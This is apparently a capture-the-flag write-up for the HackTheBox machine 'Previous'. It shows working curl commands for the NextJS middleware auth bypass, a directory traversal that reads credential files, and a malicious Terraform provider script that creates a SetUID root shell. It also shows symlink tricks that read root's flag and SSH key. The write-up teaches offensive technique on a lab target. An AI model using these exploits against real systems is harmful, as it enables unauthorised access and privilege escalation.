HTB: Previous
Previous starts with a NextJS application for a fictional JavaScript framework. I’ll exploit the infamous NextJS middleware vulnerability to access the authenticated portion of the site. From there, I’ll find a directory traversal vulnerability in a download API that allows reading files from the server, including the NextAuth config with hard-coded credentials. Those creds work for SSH, and I’ll pivot to root by abusing a misconfigured sudo rule that runs Terraform multiple ways.
Box Info
| Name | Previous Play on HackTheBox |
|---|---|
| Release Date | 23 Aug 2025 |
| Retire Date | 10 Jan 2026 |
| OS | Linux |
| Base Points | Medium [30] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 00:29:51 |
|
| 00:37:57 |
|
| Creator |
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.83
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-03 04:53 UTC
...[snip]...
Nmap scan report for 10.10.11.83
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-01-03 04:53:25 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds
Raw packets sent: 65677 (2.890MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.83
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-03 04:53 UTC
Nmap scan report for 10.10.11.83
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
Based on the OpenSSH and nginx versions, the host is likely running Ubuntu 22.04 jammy LTS.
The webserver is redirecting to previous.htb. Given the use of virtual host routing, I’ll use ffuf to brute force any subdomains that respond differently, but not find any. I’ll add previous.htb to my hosts file.
10.10.11.83 previous.htb
All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Website - TCP 80
Site
The site is for some kind of JavaScript framework named PreviousJS:
Clicking either the “Get Started” or “Docs” button leads to login page:
Trying to login silently fails.
Tech Stack
The HTTP response headers show that the site is running NextJS:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 22:41:37 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: Next.js
ETag: "6kopm5t1bh48k"
Vary: Accept-Encoding
Content-Length: 5493
The requests that follow are very typical for NextJS as well, loading a bunch of JavaScript from the _next directory:
The 404 page matches the default NextJS 404 page as well:
Wappalyzer shows this is Next.js 15.2.2:
It gets this by looking around in all the Next.js JavaScript files. It’s not always in a consistent place, but for this case the only place I could find it is in main-0221d9991a31a63c.js:
oxdf@hacky$ curl -s "http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js" | grep -oE '"[0-9]+\.[0-9]+\.[0-9]+"'
"15.2.2"
NextJS Enumeration
NextJS is a hybrid framework. It doesn’t quite do traditional single page apps, but it has a lot of characteristics similar to SPAs. The root page has the buildId for the application at the bottom:
I’ll also note that nextExport and autoExport are both true, which means the app is statically exported. All the pages are pre-rendered as HTML/JS at build time. This means I should be able to see the routes in the manifest, which is requested from /_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js, using the build ID:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 22:41:37 GMT
Content-Type: application/javascript; charset=UTF-8
Connection: keep-alive
Cache-Control: public, max-age=31536000, immutable
Accept-Ranges: bytes
Last-Modified: Mon, 22 Sep 2025 07:45:23 GMT
ETag: W/"519-19970626e38"
Vary: Accept-Encoding
Content-Length: 1305
self.__BUILD_MANIFEST=function(s,e,t,c,n){return{__rewrites:{afterFiles:[],beforeFiles:[],fallback:[]},__routerFilterStatic:{numItems:0,errorRate:1e-4,numBits:0,numHashes:n,bitArray:[]},__routerFilterDynamic:{numItems:s,errorRate:1e-4,numBits:s,numHashes:n,bitArray:[]},"/":["static/chunks/pages/index-a09f42904785092c.js"],"/_error":["static/chunks/pages/_error-41608b100cc61246.js"],"/docs":[e,t,"static/chunks/pages/docs-5f6acb8b3a59fb7f.js"],"/docs/components/layout":[e,t,"static/chunks/pages/docs/components/layout-79ce7edc85dbc179.js"],"/docs/components/sidebar":[e,"static/chunks/pages/docs/components/sidebar-0302befb549e0142.js"],"/docs/content/examples":["static/chunks/pages/docs/content/examples-e4a3a28759c69901.js"],"/docs/content/getting-started":["static/chunks/pages/docs/content/getting-started-7dd61d428f6ada5c.js"],"/docs/[section]":[e,t,"static/chunks/pages/docs/[section]-31d8b831c1e60f26.js"],"/signin":[t,"static/chunks/pages/signin-d0284ed11872b445.js"],sortedPages:["/","/_app","/_error","/docs","/docs/components/layout","/docs/components/sidebar","/docs/content/examples","/docs/content/getting-started","/docs/[section]","/signin"]}}(0,"static/chunks/8-fd0c493a642e766e.js","static/chunks/0-c54fcec2d27b858d.js",1e-4,NaN),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB();
They all fall in /docs except for /signin, both of which I’ve seen already.
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://previous.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://previous.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 66w 2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308 GET 1l 1w 13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308 GET 1l 1w 6c http://previous.htb/_next/ => http://previous.htb/_next
308 GET 1l 1w 20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
308 GET 1l 1w 26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308 GET 1l 1w 35c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/ => http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc
308 GET 1l 1w 17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308 GET 1l 1w 12c http://previous.htb/application/ => http://previous.htb/application
200 GET 1l 2w 77c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js
200 GET 1l 1w 1305c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js
200 GET 1l 60w 3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200 GET 1l 283w 5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200 GET 1l 725w 33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200 GET 1l 250w 23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
200 GET 1l 2412w 119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200 GET 1l 2125w 112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
307 GET 1l 1w 36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
307 GET 1l 1w 35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200 GET 1l 2734w 139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200 GET 1l 407w 5493c http://previous.htb/
200 GET 1l 136w 3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200 GET 1l 217w 8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200 GET 1l 179w 3481c http://previous.htb/signin
307 GET 1l 1w 39c http://previous.htb/api-doc => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-doc
307 GET 1l 1w 36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307 GET 1l 1w 40c http://previous.htb/api_test => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_test
307 GET 1l 1w 37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307 GET 1l 1w 36c http://previous.htb/api3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi3
307 GET 1l 1w 36c http://previous.htb/api2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi2
307 GET 1l 1w 36c http://previous.htb/api4 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi4
307 GET 1l 1w 40c http://previous.htb/docstore => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstore
307 GET 1l 1w 41c http://previous.htb/docsearch => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsearch
[####################] - 2m 30020/30020 0s found:31 errors:1
[####################] - 2m 30000/30000 310/s http://previous.htb/
It doesn’t find anything I haven’t already seen.
Shell as jeremy
Auth Bypass
CVE-2025-29927
NIST describes CVE-2025-29927 as:
Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
The bulletin on NextJS’s GitHub rates this as critical, and offers the workaround:
If patching to a safe version is infeasible, we recommend that you prevent external user requests which contain the
x-middleware-subrequestheader from reaching your Next.js application.
Datadog has a really nice writeup on the vulnerability. Basically, if the x-middleware-subrequest header is set in the HTTP headers, NextJS can be tricked into skipping the intended middleware (which is often used for authentication). In later versions of NextJS, a longer header is required, but it still works.
POC
I haven’t found a leak of the NextJS version yet, but this is such a quick POC it’s definitely worth a shot. If I fetch /docs normally (using a HEAD request with -I because I don’t need the body), it returns a 307 redirect to login:
oxdf@hacky$ curl -I -s "http://previous.htb/docs"
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:31:29 GMT
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs
Adding the header “middleware” doesn’t bypass this:
oxdf@hacky$ curl -I -s "http://previous.htb/docs" -H "x-middleware-subrequest: middleware"
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:32:23 GMT
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs
This suggests it’s either patched or version 14 or earlier. Adding 5 “middleware”s (to max out the middleware MAX_RECURSION_DEPTH) does bypass the auth:
oxdf@hacky$ curl -I -s "http://previous.htb/docs" -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:32:25 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding
That’s exploitation of this CVE. I can use Burp proxy in intercept mode to catch the request and add the header to get the page to load in a browser as well:
Automating Add Header
To access the authenticated part of the site, I’ll need to add this header to basically every request. Rather than doing it manually, I’ll set up a “Match/replace rule” in Burp:
When the “Match” is blank, it just adds the “Replace” to the end. Now I can browse the site and it doesn’t redirect to the login page.
Authenticated Site Enumeration
/docs shows a page (above) with references to two other pages. /docs/getting-started has some basic information, but nothing useful:
/docs/examples has a Hello World application as well as a link to download:
That link points at /api/download?example=hello-world.ts, and downloads hello-world.ts:
import { app } from 'previous';
const app = new App();
app.start();
Directory Traversal / File Read
POC
I’ll send a copy of the modified GET request over to Burp Repeater (and clean out unneeded headers), and verify it works:
To test directory traversal, I’ll try to grab /etc/passwd using relative paths:
Enumeration
I’ll check out the current process:
The webserver runs out of /app. Some important files for NextJS:
.env- Environment variables and secretspackage.json- Dependencies and versions.next/routes-manifest.json- All application routes.next/build-manifest.json- Build metadatanext.config.jsornext.config.mjs- Next.js configuration
.env gives the secret key for the application:
With this I can forge cookies. package.json confirms this is NextJS version 15.2.2:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 05 Jan 2026 23:58:33 GMT
Content-Type: application/zip
Content-Length: 587
Connection: keep-alive
Content-Disposition: attachment; filename="package.json"
ETag: "10ykmnkceex1j4"
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
"@mdx-js/react": "^3.1.0",
"@next/mdx": "^15.3.0",
"@tailwindcss/postcss": "^4.1.3",
"@tailwindcss/typography": "^0.5.16",
"@types/mdx": "^2.0.13",
"next": "^15.2.2",
"next-auth": "^4.24.11",
"postcss": "^8.5.3",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"tailwindcss": "^4.1.3"
},
"devDependencies": {
"@types/node": "22.14.0",
"@types/react": "19.1.0",
"typescript": "5.8.3"
}
}
It also shows that next-auth package is being used. NextAuth.js an open-source authentication package for Next.js applications. The NextAuth config is stored at .next/server/pages/api/auth/[...nextauth].js:
Throwing that into a JavaScript beautifier shows a hard-coded password:
authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
id: "1",
name: "Jeremy"
} : null
SSH
Those creds work for the jeremy user on Previous:
oxdf@hacky$ netexec ssh previous.htb -u jeremy -p MyNameIsJeremyAndILovePancakes
SSH 10.10.11.83 22 previous.htb SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.10.11.83 22 previous.htb [+] jeremy:MyNameIsJeremyAndILovePancakes Linux - Shell access!
I’ll get a shell:
oxdf@hacky$ sshpass -p MyNameIsJeremyAndILovePancakes ssh jeremy@previous.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
...[snip]...
jeremy@previous:~$
And user.txt:
jeremy@previous:~$ cat user.txt
dc81cd85************************
Shell as root
Enumeration
Users
There are no other users with home directories in /home, and jeremy and root are the only users with shells set:
jeremy@previous:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
jeremy:x:1000:1000:,,,:/home/jeremy:/bin/bash
jeremy’s home directory has a couple interesting things:
jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Sep 22 07:37 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Jan 6 01:52 user.txt
There’s a docker folder with the web application:
jeremy@previous:~$ ls docker/
docker-compose.yml previous
jeremy@previous:~$ cat docker/docker-compose.yml
services:
next:
build: previous
restart: unless-stopped
ports:
- "127.0.0.1:3000:3000"
The previous directory has the Dockerfile and all the files for the web application, but they aren’t useful from this point.
There’s also a file related to Terraform, which is an infrastructure as code tool created by HashiCorp. jeremy can run a specific terraform command as root using sudo:
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Terraform
This command forces the current working directory to be /opt/examples and then runs apply, which creates or updates infrastructure.
There’s a .terraformrc file in /home/jeremy:
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
/opt/examples has Terraform files:
jeremy@previous:~$ ls -a /opt/examples/
. .. .gitignore main.tf .terraform .terraform.lock.hcl terraform.tfstate
main.tf basically facilitates moving files from /root/examples to their home directory:
terraform {
required_providers {
examples = {
source = "previous.htb/terraform/examples"
}
}
}
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
validation {
condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
error_message = "The source_path must contain '/root/examples/'."
}
}
provider "examples" {}
resource "examples_example" "example" {
source_path = var.source_path
}
output "destination_path" {
value = examples_example.example.destination_path
}
Putting this all together, when jeremy runs sudo /usr/bin/terraform -chdir\=/opt/examples apply:
sudorunsterraformas root. The environment variables stay the same except for$PATH.- Terraform reads the user config from
$HOME/.terraformrc, which is still/home/jeremybecause of!env_reset. This file provides the providerprevious.htb/terraform/examplesin/usr/local/go/bin. - Terraform reads all the
.tffiles in/opt/examples, which in this case ismain.tf.main.tffill copy a file to thedestination_path, which is hard coded into the binary provider.
The provider is a Go compiled ELF binary:
jeremy@previous:~$ file /usr/local/go/bin/terraform-provider-examples
/usr/local/go/bin/terraform-provider-examples: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=oxKqdB-oFvKp7KFdjH5q/X48Z8OR6LcD775Y3IE8l/gG1qKAHDEWR62hFKQOUM/p6l6Q8egzljUSxfkRz_z, with debug_info, not stripped
Go strings are not null terminated, so they often run together as one long string. The path /home/jeremy/docker/previous/public/examples/ is in there:
jeremy@previous:~$ strings /usr/local/go/bin/terraform-provider-examples | grep home
currently from: %qcontext: internal error: missing cancel error/home/jeremy/docker/previous/public/examples/reflect: nil type passed to Type.AssignableToreflect: OverflowComplex of non-complex type reflect: internal error: invalid method indextransitioning GC to the same state as before?produced a trigger greater than the heap goaltried to run scavenger from another goroutineruntime: failed mSpanList.remove span.npages=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zeroCalling provider defined planmodifier.Float32Calling provider defined planmodifier.Float64Calling provider defined planmodifier.DynamicInvalid Configuration for Read-Only AttributeInvalid Number Attribute Validator Value TypeInvalid Object Attribute Validator Value TypeInvalid String Attribute Validator Value TypeAttribute Validation Error Invalid Value TypeUnknown attribute value type (%T) at path: %sInvalid Object Block Plan Modifier Value Typeunknown attribute value type (%T) at path: %sCalling provider defined Provider DataSourcesCalling provider defined Resource ImportStateDataSource implements DataSourceWithConfigureCalling provider defined DataSource ConfigureCalled provider defined Resource UpgradeStatehttp: putIdleConn: connection is in bad statehttp: no Client.Transport or DefaultTransportinvalid request :path %q from URL.Opaque = %qhttp: multipart handled by ParseMultipartFormnet/http: internal error: connCount underflowcannot send after transport endpoint shutdownunhandled Int32 state in ToTerraformValue: %sunhandled Int64 state in ToTerraformValue: %smissing type information; cannot create valueObject Attribute Name (%s) Expected Type: %s
Actually running the command makes sure a copy of hello-world.ts exists in a directory in jeremy’s home directory:
jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
No changes. Your infrastructure matches the configuration.
Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.
Apply complete! Resources: 0 added, 0 changed, 0 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
jeremy@previous:~$ ls -l docker/previous/public/examples/hello-world.ts
-rw-r--r-- 1 jeremy jeremy 69 Jan 6 20:57 docker/previous/public/examples/hello-world.ts
If I delete that file and re-run, it copies it (I’ll note the new copy is owned by root):
jeremy@previous:~$ rm docker/previous/public/examples/hello-world.ts
jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
+ create
Terraform will perform the following actions:
# examples_example.example will be created
+ resource "examples_example" "example" {
+ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
+ id = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
+ source_path = "/root/examples/hello-world.ts"
}
Plan: 1 to add, 0 to change, 0 to destroy.
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Apply complete! Resources: 1 added, 0 changed, 0 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"
jeremy@previous:~$ ls -l docker/previous/public/examples/hello-world.ts
-rw-r--r-- 1 root root 69 Jan 6 20:58 docker/previous/public/examples/hello-world.ts
Abuse Terraform
Overview
I’ll show three ways to abuse this sudo rule with terraform to get the flag / root:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as jeremy]-->B(<a href='#malicious-config'>Malicious Config</a>);
B-->C[Shell as root];
A-->D(<a href='#overwrite-variables-for-read'>TF_VAR for Read</a>);
D-->E(Read Flag);
D-->C;
A-->F(<a href='#overwrite-variables-for-write'>TF_VAR for Write</a>);
F-->C;
linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,4,5,6 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Malicious Config
When the terraform runs with !env_reset leaving the $HOME, that means it loads /home/jeremy/.terraformrc. That is the file that specifies where to get the binary to run:
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
As jeremy, I have full control over that file:
jeremy@previous:~$ ls -l .terraformrc
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
This config has terraform run /usr/local/go/bin/terraform-provider-examples. I’ll change it to point somewhere I can control:
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
Now I’ll drop a script and make it executable:
jeremy@previous:~$ vim /dev/shm/terraform-provider-examples
jeremy@previous:~$ cat /dev/shm/terraform-provider-examples
#!/bin/bash
cp /bin/bash /var/tmp/0xdf
chown root:root /var/tmp/0xdf
chmod 6777 /var/tmp/0xdf
jeremy@previous:~$ chmod +x /dev/shm/terraform-provider-examples
This will make a copy of bash named 0xdf owned by root with SetUID and SetGID. Now I run terraform:
jeremy@previous:~$ sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /dev/shm
...[snip]...
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
│ remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /dev/shm/terraform-provider-examples
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
╵
It seems to error out, but the new copy of bash is there:
jeremy@previous:~$ ls -l /var/tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Jan 6 20:54 /var/tmp/0xdf
I’ll get a shell (with -p to not drop privs):
jeremy@previous:~$ /var/tmp/0xdf -p
0xdf-5.1#
And the flag:
0xdf-5.1# cat /root/root.txt
6e570fae************************
Overwrite Variables for Read
In the Terraform config, the source variable is set up with a default parameter:
variable "source_path" {
type = string
default = "/root/examples/hello-world.ts"
That is used when no other is given, but I can pass it in using environment variables, which are preserved in this sudo configuration. I can try to directly read the flag, but the validation still holds:
jeremy@previous:~$ TF_VAR_source_path=/root/root.txt sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
╵
╷
│ Error: Invalid value for variable
│
│ on main.tf line 9:
│ 9: variable "source_path" {
│ ├────────────────
│ │ var.source_path is "/root/root.txt"
│
│ The source_path must contain '/root/examples/'.
│
│ This was checked by the validation rule at main.tf:13,3-13.
Still, I can create a symbolic link:
jeremy@previous:~$ mkdir -p /dev/shm/root/examples
jeremy@previous:~$ ln -s /root/root.txt /dev/shm/root/examples/flag
jeremy@previous:~$ ls -l /dev/shm/root/examples/
total 0
lrwxrwxrwx 1 jeremy jeremy 14 Jan 6 22:43 flag -> /root/root.txt
Now terraform fetches the flag:
jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/flag sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
╵
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement
Terraform will perform the following actions:
# examples_example.example must be replaced
-/+ resource "examples_example" "example" {
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag" # forces replacement
~ id = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag"
~ source_path = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/flag" # forces replacement
}
Plan: 1 to add, 0 to change, 1 to destroy.
Changes to Outputs:
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/flag"
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/flag]
Apply complete! Resources: 1 added, 0 changed, 1 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/flag"
jeremy@previous:~$ cat /home/jeremy/docker/previous/public/examples/flag
6e570fae5d33565719d9a97fd0bb230f
I can use the same steps to read root’s SSH key:
jeremy@previous:~$ ln -sf /root/.ssh/id_rsa /dev/shm/root/examples/id_rsa
jeremy@previous:~$ TF_VAR_source_path=/dev/shm/root/examples/id_rsa sudo terraform -chdir\=/opt/examples apply
...[snip]...
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /usr/local/go/bin
...[snip]...
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement
Terraform will perform the following actions:
# examples_example.example must be replaced
-/+ resource "examples_example" "example" {
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa" # forces replacement
~ id = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa"
~ source_path = "/root/examples/hello-world.ts" -> "/dev/shm/root/examples/id_rsa" # forces replacement
}
Plan: 1 to add, 0 to change, 1 to destroy.
Changes to Outputs:
~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/id_rsa"
Do you want to perform these actions?
Terraform will perform the actions described above.
Only 'yes' will be accepted to approve.
Enter a value: yes
examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/id_rsa]
Apply complete! Resources: 1 added, 0 changed, 1 destroyed.
Outputs:
destination_path = "/home/jeremy/docker/previous/public/examples/id_rsa"
